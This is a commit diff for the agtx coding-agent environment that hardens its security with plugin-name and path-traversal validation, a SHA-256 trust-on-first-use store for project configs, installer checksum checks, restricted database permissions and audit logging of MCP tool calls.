Skip to content

armgit / agtx

Public Imported from GitHub
0

πŸ„πŸΌβ€β™‚οΈ The blackboard for coding agents - agentic development environment for claude code, codex, cursor, opencode, grok and more.

security: harden input validation, path traversal, DB permissions, and trust model (#98)

Victor Palma875dfaf9a46f
diff --git a/Cargo.lock b/Cargo.lock
index 346cb52..0b10fc1 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -16,10 +16,14 @@ dependencies = [
"rusqlite",
"serde",
"serde_json",
+ "sha2",
"tempfile",
"thiserror 2.0.18",
"tokio",
"toml",
+ "tracing",
+ "tracing-appender",
+ "tracing-subscriber",
"uuid",
"which",
]
@@ -229,6 +233,21 @@ dependencies = [
"libc",
]
+[[package]]
+name = "crossbeam-channel"
+version = "0.5.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "82b8f8f868b36967f9606790d1903570de9ceaf870a7bf9fbbd3016d636a2cb2"
+dependencies = [
+ "crossbeam-utils",
+]
+
+[[package]]
+name = "crossbeam-utils"
+version = "0.8.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28"
+
[[package]]
name = "crossterm"
version = "0.29.0"
@@ -871,6 +890,15 @@ dependencies = [
"winapi",
]
+[[package]]
+name = "matchers"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d1525a2a28c7f4fa0fc98bb91ae755d1e2d1505079e05539e35bc876b5d65ae9"
+dependencies = [
+ "regex-automata",
+]
+
[[package]]
name = "memchr"
version = "2.8.0"
@@ -959,6 +987,15 @@ dependencies = [
"minimal-lexical",
]
+[[package]]
+name = "nu-ansi-term"
+version = "0.50.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5"
+dependencies = [
+ "windows-sys 0.61.2",
+]
+
[[package]]
name = "num-conv"
version = "0.2.0"
@@ -1577,6 +1614,15 @@ dependencies = [
"digest",
]
+[[package]]
+name = "sharded-slab"
+version = "0.1.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6"
+dependencies = [
+ "lazy_static",
+]
+
[[package]]
name = "shlex"
version = "1.3.0"
@@ -1819,6 +1865,15 @@ dependencies = [
"syn 2.0.114",
]
+[[package]]
+name = "thread_local"
+version = "1.1.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f60246a4944f24f6e018aa17cdeffb7818b76356965d03b07d6a9886e8962185"
+dependencies = [
+ "cfg-if",
+]
+
[[package]]
name = "time"
version = "0.3.47"
@@ -1826,12 +1881,14 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "743bd48c283afc0388f9b8827b976905fb217ad9e647fae3a379a9283c4def2c"
dependencies = [
"deranged",
+ "itoa",
"libc",
"num-conv",
"num_threads",
"powerfmt",
"serde_core",
"time-core",
+ "time-macros",
]
[[package]]
@@ -1840,6 +1897,16 @@ version = "0.1.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7694e1cfe791f8d31026952abf09c69ca6f6fa4e1a1229e18988f06a04a12dca"
+[[package]]
+name = "time-macros"
+version = "0.2.27"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2e70e4c5a0e0a8a4823ad65dfe1a6930e4f4d756dcd9dd7939022b5e8c501215"
+dependencies = [
+ "num-conv",
+ "time-core",
+]
+
[[package]]
name = "tokio"
version = "1.49.0"
@@ -1933,6 +2000,18 @@ dependencies = [
"tracing-core",
]
+[[package]]
+name = "tracing-appender"
+version = "0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "786d480bce6247ab75f005b14ae1624ad978d3029d9113f0a22fa1ac773faeaf"
+dependencies = [
+ "crossbeam-channel",
+ "thiserror 2.0.18",
+ "time",
+ "tracing-subscriber",
+]
+
[[package]]
name = "tracing-attributes"
version = "0.1.31"
@@ -1951,6 +2030,49 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a"
dependencies = [
"once_cell",
+ "valuable",
+]
+
+[[package]]
+name = "tracing-log"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3"
+dependencies = [
+ "log",
+ "once_cell",
+ "tracing-core",
+]
+
+[[package]]
+name = "tracing-serde"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "704b1aeb7be0d0a84fc9828cae51dab5970fee5088f83d1dd7ee6f6246fc6ff1"
+dependencies = [
+ "serde",
+ "tracing-core",
+]
+
+[[package]]
+name = "tracing-subscriber"
+version = "0.3.23"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cb7f578e5945fb242538965c2d0b04418d38ec25c79d160cd279bf0731c8d319"
+dependencies = [
+ "matchers",
+ "nu-ansi-term",
+ "once_cell",
+ "regex-automata",
+ "serde",
+ "serde_json",
+ "sharded-slab",
+ "smallvec",
+ "thread_local",
+ "tracing",
+ "tracing-core",
+ "tracing-log",
+ "tracing-serde",
]
[[package]]
@@ -2012,6 +2134,12 @@ dependencies = [
"wasm-bindgen",
]
+[[package]]
+name = "valuable"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65"
+
[[package]]
name = "vcpkg"
version = "0.2.15"
diff --git a/Cargo.toml b/Cargo.toml
index 61239cc..82dda8d 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -32,6 +32,12 @@ which = "7.0"
directories = "6.0"
chrono = { version = "0.4", features = ["serde"] }
uuid = { version = "1.16", features = ["v4"] }
+sha2 = "0.10"
+
+# Logging / audit trail
+tracing = "0.1"
+tracing-subscriber = { version = "0.3", features = ["env-filter", "json"] }
+tracing-appender = "0.2"
# MCP server
rmcp = { version = "0.16", features = ["server", "macros", "transport-io"] }
diff --git a/install.sh b/install.sh
index d014ef7..0403b3d 100644
--- a/install.sh
+++ b/install.sh
@@ -102,6 +102,25 @@ main() {
error "Download failed. Check if release exists: ${DOWNLOAD_URL}"
fi
+ # Verify checksum (if available)
+ CHECKSUM_URL="https://github.com/${REPO}/releases/download/${VERSION}/${ARCHIVE_NAME}.sha256"
+ info "Verifying checksum..."
+ if curl -fsSL "${CHECKSUM_URL}" -o "${TMP_DIR}/${ARCHIVE_NAME}.sha256" 2>/dev/null; then
+ PREV_DIR=$(pwd)
+ cd "${TMP_DIR}"
+ if command -v sha256sum &> /dev/null; then
+ sha256sum -c "${ARCHIVE_NAME}.sha256" || error "Checksum verification failed"
+ elif command -v shasum &> /dev/null; then
+ shasum -a 256 -c "${ARCHIVE_NAME}.sha256" || error "Checksum verification failed"
+ else
+ warn "No sha256sum or shasum found, skipping checksum verification"
+ fi
+ cd "${PREV_DIR}"
+ success "Checksum verified"
+ else
+ warn "Checksum file not found, skipping verification"
+ fi
+
# Extract
info "Extracting..."
tar -xzf "${TMP_DIR}/${ARCHIVE_NAME}" -C "${TMP_DIR}"
diff --git a/src/config/mod.rs b/src/config/mod.rs
index 5f48bac..b093c84 100644
--- a/src/config/mod.rs
+++ b/src/config/mod.rs
@@ -542,8 +542,31 @@ impl WorkflowPlugin {
self.supported_agents.is_empty() || self.supported_agents.iter().any(|a| a == agent_name)
}
+ /// Validate that a plugin name is safe for use in filesystem paths.
+ /// Rejects names containing path separators, traversal sequences, or
+ /// characters outside [a-zA-Z0-9_-].
+ pub fn validate_plugin_name(name: &str) -> Result<()> {
+ if name.is_empty() {
+ anyhow::bail!("Plugin name must not be empty");
+ }
+ if name.contains('.') || name.contains('/') || name.contains('\\') {
+ anyhow::bail!(
+ "Plugin name '{}' contains invalid characters (., /, \\)",
+ name
+ );
+ }
+ if !name.chars().all(|c| c.is_ascii_alphanumeric() || c == '-' || c == '_') {
+ anyhow::bail!(
+ "Plugin name '{}' contains invalid characters (only a-z, A-Z, 0-9, -, _ allowed)",
+ name
+ );
+ }
+ Ok(())
+ }
+
/// Load a plugin by name, checking project-local then global directories
pub fn load(name: &str, project_path: Option<&Path>) -> Result<Self> {
+ Self::validate_plugin_name(name)?;
// 1. Check project-local
if let Some(pp) = project_path {
let local_path = pp
@@ -573,6 +596,9 @@ impl WorkflowPlugin {
/// Get the plugin directory path (for reading skill files)
pub fn plugin_dir(name: &str, project_path: Option<&Path>) -> Option<PathBuf> {
+ if Self::validate_plugin_name(name).is_err() {
+ return None;
+ }
// Same lookup order: project-local first, then global
if let Some(pp) = project_path {
let local = pp.join(".agtx").join("plugins").join(name);
@@ -592,3 +618,76 @@ impl WorkflowPlugin {
None
}
}
+
+/// Trust-on-first-use store for project configs.
+///
+/// Tracks SHA-256 hashes of `.agtx/config.toml` contents keyed by canonical project path.
+/// When a project's config hash doesn't match the stored value, dangerous fields
+/// (`init_script`, `copy_files`) are suppressed until the user explicitly trusts the project.
+#[derive(Debug, Clone, Serialize, Deserialize, Default)]
+pub struct TrustStore {
+ #[serde(default)]
+ pub projects: std::collections::HashMap<String, String>,
+}
+
+impl TrustStore {
+ /// Load the trust store from the platform config directory (e.g. `~/.config/agtx/trusted_projects.toml` on Linux, `~/Library/Application Support/agtx/` on macOS).
+ pub fn load() -> Result<Self> {
+ let path = Self::path()?;
+ if path.exists() {
+ let content = std::fs::read_to_string(&path)?;
+ Ok(toml::from_str(&content)?)
+ } else {
+ Ok(Self::default())
+ }
+ }
+
+ /// Persist the trust store to disk.
+ pub fn save(&self) -> Result<()> {
+ let path = Self::path()?;
+ if let Some(parent) = path.parent() {
+ std::fs::create_dir_all(parent)?;
+ }
+ std::fs::write(&path, toml::to_string_pretty(self)?)?;
+ Ok(())
+ }
+
+ fn path() -> Result<PathBuf> {
+ let dirs = directories::ProjectDirs::from("", "", "agtx")
+ .context("Could not determine config directory")?;
+ Ok(dirs.config_dir().join("trusted_projects.toml"))
+ }
+
+ /// Compute SHA-256 of a project's `.agtx/config.toml` content.
+ pub fn hash_config(project_path: &Path) -> Option<String> {
+ let config_path = project_path.join(".agtx").join("config.toml");
+ let content = std::fs::read(&config_path).ok()?;
+ use sha2::{Sha256, Digest};
+ let hash = Sha256::digest(&content);
+ Some(format!("{:x}", hash))
+ }
+
+ /// Check if a project's config is trusted (hash matches stored value).
+ pub fn is_trusted(&self, project_path: &Path) -> bool {
+ let canonical = project_path.canonicalize()
+ .unwrap_or_else(|_| project_path.to_path_buf());
+ let key = canonical.to_string_lossy().to_string();
+ match (self.projects.get(&key), Self::hash_config(project_path)) {
+ (Some(stored), Some(current)) => stored == &current,
+ (None, None) => true, // No .agtx/config.toml β€” nothing to distrust
+ _ => false,
+ }
+ }
+
+ /// Mark a project's current config as trusted.
+ pub fn trust_project(&mut self, project_path: &Path) -> Result<()> {
+ let canonical = project_path.canonicalize()
+ .unwrap_or_else(|_| project_path.to_path_buf());
+ let key = canonical.to_string_lossy().to_string();
+ if let Some(hash) = Self::hash_config(project_path) {
+ self.projects.insert(key, hash);
+ self.save()?;
+ }
+ Ok(())
+ }
+}
diff --git a/src/db/schema.rs b/src/db/schema.rs
index 2072d7a..4551a4c 100644
--- a/src/db/schema.rs
+++ b/src/db/schema.rs
@@ -29,16 +29,46 @@ impl Database {
std::fs::create_dir_all(parent)?;
}
+ // Migration: if the new-hash DB doesn't exist, check for an old-hash DB and rename it
+ if !db_path.exists() {
+ let old_hash = Self::hash_path_legacy(&path_str);
+ let old_db_path = config_dir
+ .config_dir()
+ .join("projects")
+ .join(format!("{}.db", old_hash));
+ if old_db_path.exists() {
+ let _ = std::fs::rename(&old_db_path, &db_path);
+ }
+ }
+
let conn = Connection::open(&db_path)
.with_context(|| format!("Failed to open database at {:?}", db_path))?;
+ // Harden file permissions: owner-only read/write
+ #[cfg(unix)]
+ {
+ use std::os::unix::fs::PermissionsExt;
+ let _ = std::fs::set_permissions(&db_path, std::fs::Permissions::from_mode(0o600));
+ }
+
let db = Self { conn };
db.init_project_schema()?;
Ok(db)
}
- /// Create a stable hash from a path string for database filename
+ /// Create a stable hash from a path string for database filename.
+ /// Uses SHA-256 (truncated to 16 hex chars) for cross-version stability.
fn hash_path(path: &str) -> String {
+ use sha2::{Sha256, Digest};
+ let mut hasher = Sha256::new();
+ hasher.update(path.as_bytes());
+ let result = hasher.finalize();
+ // Take first 8 bytes (16 hex chars) β€” same length as the old DefaultHasher output
+ format!("{:016x}", u64::from_be_bytes(result[..8].try_into().unwrap()))
+ }
+
+ /// Legacy hash function (DefaultHasher). Used only for migration from pre-SHA256 databases.
+ fn hash_path_legacy(path: &str) -> String {
use std::collections::hash_map::DefaultHasher;
use std::hash::{Hash, Hasher};
@@ -61,6 +91,13 @@ impl Database {
let conn = Connection::open(&db_path)
.with_context(|| format!("Failed to open global database at {:?}", db_path))?;
+ // Harden file permissions: owner-only read/write
+ #[cfg(unix)]
+ {
+ use std::os::unix::fs::PermissionsExt;
+ let _ = std::fs::set_permissions(&db_path, std::fs::Permissions::from_mode(0o600));
+ }
+
let db = Self { conn };
db.init_global_schema()?;
Ok(db)
@@ -95,6 +132,11 @@ impl Database {
}
fn init_project_schema(&self) -> Result<()> {
+ self.conn.execute_batch(
+ "PRAGMA journal_mode=WAL;
+ PRAGMA busy_timeout=5000;",
+ )?;
+
self.conn.execute_batch(
r#"
CREATE TABLE IF NOT EXISTS tasks (
@@ -180,6 +222,11 @@ impl Database {
}
fn init_global_schema(&self) -> Result<()> {
+ self.conn.execute_batch(
+ "PRAGMA journal_mode=WAL;
+ PRAGMA busy_timeout=5000;",
+ )?;
+
self.conn.execute_batch(
r#"
CREATE TABLE IF NOT EXISTS projects (
diff --git a/src/git/worktree.rs b/src/git/worktree.rs
index bc629d1..dcb9990 100644
--- a/src/git/worktree.rs
+++ b/src/git/worktree.rs
@@ -150,6 +150,18 @@ pub fn initialize_worktree(
for dir_name in copy_dirs {
let src = project_path.join(dir_name);
if src.is_dir() {
+ // Validate path stays within project root
+ if let (Ok(canon_proj), Ok(canon_src)) =
+ (project_path.canonicalize(), src.canonicalize())
+ {
+ if !canon_src.starts_with(&canon_proj) {
+ warnings.push(format!(
+ "copy_dirs: '{}' resolves outside project root, skipping (path traversal blocked)",
+ dir_name
+ ));
+ continue;
+ }
+ }
let dst = worktree_path.join(dir_name);
if let Err(e) = copy_dir_recursive(&src, &dst) {
warnings.push(format!("Failed to copy '{}' to worktree: {}", dir_name, e));
@@ -159,11 +171,24 @@ pub fn initialize_worktree(
// Copy user-specified files/directories
if let Some(files_str) = copy_files {
+ // Pre-compute canonical project path for traversal checks
+ let canonical_project = project_path.canonicalize().ok();
+
for entry in files_str.split(',') {
let file_name = entry.trim();
if file_name.is_empty() {
continue;
}
+
+ // Reject obvious traversal patterns before touching the filesystem
+ if file_name.contains("..") {
+ warnings.push(format!(
+ "copy_files: '{}' contains '..', skipping (path traversal blocked)",
+ file_name
+ ));
+ continue;
+ }
+
let src = project_path.join(file_name);
let dst = worktree_path.join(file_name);
@@ -175,6 +200,19 @@ pub fn initialize_worktree(
continue;
}
+ // Validate resolved path stays within project root
+ if let Some(ref canon_proj) = canonical_project {
+ if let Ok(canon_src) = src.canonicalize() {
+ if !canon_src.starts_with(canon_proj) {
+ warnings.push(format!(
+ "copy_files: '{}' resolves outside project root, skipping (path traversal blocked)",
+ file_name
+ ));
+ continue;
+ }
+ }
+ }
+
if src.is_dir() {
if let Err(e) = copy_dir_recursive(&src, &dst) {
warnings.push(format!(
@@ -204,6 +242,11 @@ pub fn initialize_worktree(
if let Some(script) = init_script {
let script = script.trim();
if !script.is_empty() {
+ tracing::info!(
+ script = script,
+ worktree = %worktree_path.display(),
+ "Executing project init_script"
+ );
match run_worktree_script(script, worktree_path, &[]) {
Ok(result) => {
if !result.status.success() {
diff --git a/src/lib.rs b/src/lib.rs
index f4b738a..827746f 100644
--- a/src/lib.rs
+++ b/src/lib.rs
@@ -20,4 +20,6 @@ pub enum AppMode {
pub struct FeatureFlags {
/// Enable experimental features (orchestrator agent, etc.)
pub experimental: bool,
+ /// When true, init_script fields in project and plugin configs are not executed.
+ pub no_init_scripts: bool,
}
diff --git a/src/main.rs b/src/main.rs
index 9ade9c9..5bf092f 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -15,11 +15,30 @@ use std::path::PathBuf;
#[tokio::main]
async fn main() -> Result<()> {
+ // Initialize audit logging to ~/.config/agtx/logs/
+ let log_dir = GlobalConfig::config_path()?
+ .parent()
+ .unwrap_or(std::path::Path::new("."))
+ .join("logs");
+ std::fs::create_dir_all(&log_dir)?;
+ let file_appender = tracing_appender::rolling::daily(&log_dir, "agtx.log");
+ let (non_blocking, _guard) = tracing_appender::non_blocking(file_appender);
+ tracing_subscriber::fmt()
+ .with_writer(non_blocking)
+ .with_env_filter(
+ tracing_subscriber::EnvFilter::try_from_default_env()
+ .unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("info")),
+ )
+ .with_target(false)
+ .json()
+ .init();
+
// Parse command line arguments
let args: Vec<String> = std::env::args().collect();
- // Extract flags (--experimental) from any position
+ // Extract flags from any position
let experimental = args.iter().any(|a| a == "--experimental");
+ let no_init_scripts = args.iter().any(|a| a == "--no-init-scripts");
let positional_args: Vec<&str> = args
.iter()
.skip(1)
@@ -44,6 +63,13 @@ async fn main() -> Result<()> {
};
return agtx::mcp::serve(project_path).await;
}
+ Some("trust") => {
+ let project_path = std::env::current_dir()?.canonicalize()?;
+ let mut store = config::TrustStore::load().unwrap_or_default();
+ store.trust_project(&project_path)?;
+ println!("Trusted project config at {}", project_path.display());
+ return Ok(());
+ }
Some("-g") => AppMode::Dashboard,
Some(".") => AppMode::Project(std::env::current_dir()?),
Some(path) => AppMode::Project(PathBuf::from(path)),
@@ -58,7 +84,7 @@ async fn main() -> Result<()> {
}
};
- let flags = FeatureFlags { experimental };
+ let flags = FeatureFlags { experimental, no_init_scripts };
// First-run: determine action based on config/data state
let config_path = GlobalConfig::config_path()?;
diff --git a/src/mcp/server.rs b/src/mcp/server.rs
index f1fac5c..5cc8020 100644
--- a/src/mcp/server.rs
+++ b/src/mcp/server.rs
@@ -125,8 +125,8 @@ pub struct SendToTaskParams {
/// The task ID (UUID)
#[schemars(description = "The task ID (UUID)")]
pub task_id: String,
- /// Message to send to the task's agent pane (followed by Enter)
- #[schemars(description = "Message to send to the task's agent pane (followed by Enter)")]
+ /// Message to send to the task's agent pane (followed by Enter). Max 4096 bytes, no null bytes.
+ #[schemars(description = "Message to send to the task's agent pane (followed by Enter). Max 4096 bytes.")]
pub message: String,
/// Project ID (required in global mode β€” call list_projects first to get IDs).
#[schemars(
@@ -522,6 +522,7 @@ impl AgtxMcpServer {
impl AgtxMcpServer {
#[tool(description = "List all projects indexed by agtx")]
fn list_projects(&self, _params: Parameters<ListProjectsParams>) -> String {
+ tracing::info!(tool = "list_projects", "MCP tool called");
match self.open_global_db() {
Ok(db) => match db.get_all_projects() {
Ok(projects) => {
@@ -546,6 +547,7 @@ impl AgtxMcpServer {
description = "List tasks for a project, optionally filtered by status (backlog, planning, running, review, done). In global mode, project_id is required β€” call list_projects first."
)]
fn list_tasks(&self, Parameters(params): Parameters<ListTasksParams>) -> String {
+ tracing::info!(tool = "list_tasks", status = ?params.status, project_id = ?params.project_id, "MCP tool called");
match self.open_project_db_for(params.project_id.as_deref()) {
Ok(db) => {
let tasks_result = if let Some(status_str) = &params.status {
@@ -591,6 +593,7 @@ impl AgtxMcpServer {
description = "Get full details of a specific task by its ID. Includes allowed_actions based on the task's current status and plugin rules. In global mode, project_id is required β€” call list_projects first."
)]
fn get_task(&self, Parameters(params): Parameters<GetTaskParams>) -> String {
+ tracing::info!(tool = "get_task", task_id = %params.task_id, "MCP tool called");
match self.open_project_db_for(params.project_id.as_deref()) {
Ok(db) => match db.get_task(&params.task_id) {
Ok(Some(t)) => {
@@ -656,6 +659,7 @@ impl AgtxMcpServer {
description = "Queue a task state transition. The agtx TUI will process it and execute all side effects (worktree creation, agent spawning, etc). Use get_transition_status to check completion. Actions: research (start research phase for backlog task), move_forward, move_to_planning, move_to_running, move_to_review, move_to_done, resume, escalate_to_user (flag task for user attention with an optional reason)"
)]
fn move_task(&self, Parameters(params): Parameters<MoveTaskParams>) -> String {
+ tracing::info!(tool = "move_task", task_id = %params.task_id, action = %params.action, "MCP tool called");
let valid_actions = [
"research",
"move_forward",
@@ -727,6 +731,7 @@ impl AgtxMcpServer {
&self,
Parameters(params): Parameters<GetTransitionStatusParams>,
) -> String {
+ tracing::info!(tool = "get_transition_status", request_id = %params.request_id, "MCP tool called");
match self.open_project_db_for(params.project_id.as_deref()) {
Ok(db) => match db.get_transition_request(&params.request_id) {
Ok(Some(req)) => {
@@ -758,6 +763,7 @@ impl AgtxMcpServer {
description = "Check if task branches have merge conflicts with the main branch. Pass a task_id to check one task, or omit it to check all Review tasks. Uses a read-only git check β€” no files are modified."
)]
fn check_conflicts(&self, Parameters(params): Parameters<CheckConflictsParams>) -> String {
+ tracing::info!(tool = "check_conflicts", task_id = ?params.task_id, "MCP tool called");
let project_path = match self.resolve_project_path(params.project_id.as_deref()) {
Ok(p) => p,
Err(e) => return e,
@@ -835,6 +841,7 @@ impl AgtxMcpServer {
description = "Fetch and consume pending notifications. Returns new events (task created, phase completed, etc.) and removes them from the queue. Note: notifications are also pushed to your input automatically when you are idle, so you usually don't need to call this manually."
)]
fn get_notifications(&self, Parameters(params): Parameters<GetNotificationsParams>) -> String {
+ tracing::info!(tool = "get_notifications", "MCP tool called");
match self.open_project_db_for(params.project_id.as_deref()) {
Ok(db) => match db.consume_notifications() {
Ok(notifs) => {
@@ -861,6 +868,7 @@ impl AgtxMcpServer {
description = "Read the last N lines of a task's agent tmux pane. Use this to understand what the agent is showing β€” e.g., when a task has been idle for a while. Returns pane content as text."
)]
fn read_pane_content(&self, Parameters(params): Parameters<ReadPaneParams>) -> String {
+ tracing::info!(tool = "read_pane_content", task_id = %params.task_id, "MCP tool called");
let db = match self.open_project_db_for(params.project_id.as_deref()) {
Ok(db) => db,
Err(e) => return e,
@@ -877,7 +885,7 @@ impl AgtxMcpServer {
None => return format!("Task {} has no active session", params.task_id),
};
- let lines = params.lines.unwrap_or(50);
+ let lines = params.lines.unwrap_or(50).max(1).min(10000);
let lines_arg = format!("-{}", lines);
let output = Command::new("tmux")
@@ -913,6 +921,21 @@ impl AgtxMcpServer {
description = "Send a message to a task's agent pane (followed by Enter). Only works for tasks in Planning or Running status. Use this to nudge a stuck agent, answer a CLI prompt (e.g. 'y' for yes), or provide guidance."
)]
fn send_to_task(&self, Parameters(params): Parameters<SendToTaskParams>) -> String {
+ tracing::info!(tool = "send_to_task", task_id = %params.task_id, "MCP tool called");
+
+ // Input validation: limit message length and reject null bytes
+ const MAX_MESSAGE_LENGTH: usize = 4096;
+ if params.message.len() > MAX_MESSAGE_LENGTH {
+ return format!(
+ "Error: message too long ({} bytes, max {})",
+ params.message.len(),
+ MAX_MESSAGE_LENGTH
+ );
+ }
+ if params.message.contains('\x00') {
+ return "Error: message contains null bytes".to_string();
+ }
+
let db = match self.open_project_db_for(params.project_id.as_deref()) {
Ok(db) => db,
Err(e) => return e,
@@ -977,6 +1000,7 @@ impl AgtxMcpServer {
description = "Create a new task in the Backlog column. Returns the created task's ID. Use create_tasks_batch for multiple tasks with dependencies. In global mode, project_id is required β€” call list_projects first."
)]
fn create_task(&self, Parameters(params): Parameters<CreateTaskParams>) -> String {
+ tracing::info!(tool = "create_task", title = %params.title, "MCP tool called");
let db = match self.open_project_db_for(params.project_id.as_deref()) {
Ok(db) => db,
Err(e) => return e,
@@ -1024,6 +1048,7 @@ impl AgtxMcpServer {
&self,
Parameters(params): Parameters<CreateTasksBatchParams>,
) -> String {
+ tracing::info!(tool = "create_tasks_batch", count = params.tasks.len(), "MCP tool called");
if params.tasks.is_empty() {
return "Error: tasks array is empty".to_string();
}
@@ -1109,6 +1134,7 @@ impl AgtxMcpServer {
description = "Update a backlog task's fields. Only tasks in Backlog status can be updated. All fields are optional β€” only provided fields are changed. In global mode, project_id is required β€” call list_projects first."
)]
fn update_task(&self, Parameters(params): Parameters<UpdateTaskParams>) -> String {
+ tracing::info!(tool = "update_task", task_id = %params.task_id, "MCP tool called");
let db = match self.open_project_db_for(params.project_id.as_deref()) {
Ok(db) => db,
Err(e) => return e,
@@ -1181,6 +1207,7 @@ impl AgtxMcpServer {
description = "Delete a task. Only tasks in Backlog status can be deleted. In global mode, project_id is required β€” call list_projects first."
)]
fn delete_task(&self, Parameters(params): Parameters<DeleteTaskParams>) -> String {
+ tracing::info!(tool = "delete_task", task_id = %params.task_id, "MCP tool called");
let db = match self.open_project_db_for(params.project_id.as_deref()) {
Ok(db) => db,
Err(e) => return e,
diff --git a/src/tui/app.rs b/src/tui/app.rs
index 5534040..95153f5 100644
--- a/src/tui/app.rs
+++ b/src/tui/app.rs
@@ -282,6 +282,8 @@ struct AppState {
delete_confirm_popup: Option<DeleteConfirmPopup>,
// Confirmation popup for asking if user wants to create PR when moving to Review
review_confirm_popup: Option<ReviewConfirmPopup>,
+ // Trust-on-first-use confirmation popup
+ trust_confirm_popup: Option<TrustConfirmPopup>,
// Channel for receiving background worktree setup results
setup_rx: Option<mpsc::Receiver<SetupResult>>,
// Phase detection
@@ -476,6 +478,12 @@ struct DeleteConfirmPopup {
task_title: String,
}
+/// State for trust-on-first-use confirmation popup
+#[derive(Debug, Clone)]
+struct TrustConfirmPopup {
+ project_path: std::path::PathBuf,
+}
+
/// State for asking if user wants to create PR when moving to Review
#[derive(Debug, Clone)]
struct ReviewConfirmPopup {
@@ -538,13 +546,14 @@ impl App {
let available_agents = agent::detect_available_agents();
// Setup based on mode
- let (db, project_path, project_name, tmux_project_name, project_config) = match &mode {
+ let (db, project_path, project_name, tmux_project_name, project_config, trust_warning) = match &mode {
AppMode::Dashboard => (
None,
None,
"Dashboard".to_string(),
tmux::safe_session_name("Dashboard"),
ProjectConfig::default(),
+ None,
),
AppMode::Project(path) => {
let canonical = path.canonicalize().unwrap_or_else(|_| path.clone());
@@ -554,9 +563,28 @@ impl App {
.unwrap_or("unknown")
.to_string();
let tmux_name = tmux::safe_session_name(&name);
- let project_config = ProjectConfig::load(&canonical).unwrap_or_default();
+ let mut project_config = ProjectConfig::load(&canonical).unwrap_or_default();
let db = Database::open_project(&canonical)?;
+ // Trust-on-first-use: suppress dangerous config fields from untrusted projects
+ let trust_store = crate::config::TrustStore::load().unwrap_or_default();
+ let trust_warning = if !trust_store.is_trusted(&canonical) {
+ if project_config.init_script.is_some() || project_config.copy_files.is_some() || project_config.cleanup_script.is_some() {
+ tracing::warn!(
+ project = %canonical.display(),
+ "Untrusted project config β€” init_script, cleanup_script, and copy_files suppressed"
+ );
+ project_config.init_script = None;
+ project_config.cleanup_script = None;
+ project_config.copy_files = None;
+ Some("Untrusted project config: init_script, cleanup_script, and copy_files disabled. Run `agtx trust` to enable.".to_string())
+ } else {
+ None
+ }
+ } else {
+ None
+ };
+
// Register project in global database
let project = crate::db::Project::new(&name, canonical.to_string_lossy());
global_db.upsert_project(&project)?;
@@ -564,12 +592,19 @@ impl App {
// Ensure tmux session exists for this project
ensure_project_tmux_session(&tmux_name, &canonical, tmux_ops.as_ref());
- (Some(db), Some(canonical), name, tmux_name, project_config)
+ (Some(db), Some(canonical), name, tmux_name, project_config, trust_warning)
}
};
let config = MergedConfig::merge(&global_config, &project_config);
+ // If the project is untrusted, also suppress plugin init_scripts
+ // by forcing no_init_scripts in the flags
+ let mut flags = flags;
+ if trust_warning.is_some() {
+ flags.no_init_scripts = true;
+ }
+
let mut app = Self {
terminal,
state: AppState {
@@ -619,6 +654,7 @@ impl App {
skip_move_confirm: false,
delete_confirm_popup: None,
review_confirm_popup: None,
+ trust_confirm_popup: None,
phase_status_cache: HashMap::new(),
spinner_frame: 0,
pane_content_hashes: HashMap::new(),
@@ -704,6 +740,15 @@ impl App {
});
}
+ // Display trust confirmation popup if project config was suppressed
+ if trust_warning.is_some() {
+ if let Some(ref path) = app.state.project_path {
+ app.state.trust_confirm_popup = Some(TrustConfirmPopup {
+ project_path: path.clone(),
+ });
+ }
+ }
+
Ok(app)
}
@@ -794,6 +839,7 @@ impl App {
skip_move_confirm: false,
delete_confirm_popup: None,
review_confirm_popup: None,
+ trust_confirm_popup: None,
phase_status_cache: HashMap::new(),
spinner_frame: 0,
pane_content_hashes: HashMap::new(),
@@ -1968,6 +2014,36 @@ impl App {
frame.render_widget(content, inner);
}
+ // Trust confirmation popup
+ if let Some(ref popup) = state.trust_confirm_popup {
+ let popup_area = centered_rect(60, 30, area);
+ frame.render_widget(Clear, popup_area);
+
+ let main_block = Block::default()
+ .title(" Untrusted Project Config ")
+ .borders(Borders::ALL)
+ .border_style(Style::default().fg(Color::Yellow));
+ frame.render_widget(main_block, popup_area);
+
+ let inner = popup_area.inner(ratatui::layout::Margin {
+ horizontal: 2,
+ vertical: 2,
+ });
+ let text = format!(
+ "This project's .agtx/config.toml has not been trusted yet.\n\n\
+ Dangerous fields (init_script, cleanup_script, copy_files) are\n\
+ currently disabled to protect against untrusted code execution.\n\n\
+ Project: {}\n\n\
+ Press any key to trust this project and continue.",
+ popup.project_path.display()
+ );
+ let content = Paragraph::new(text)
+ .style(Style::default().fg(Color::White))
+ .alignment(ratatui::layout::Alignment::Center)
+ .wrap(Wrap { trim: false });
+ frame.render_widget(content, inner);
+ }
+
// Plugin selection popup
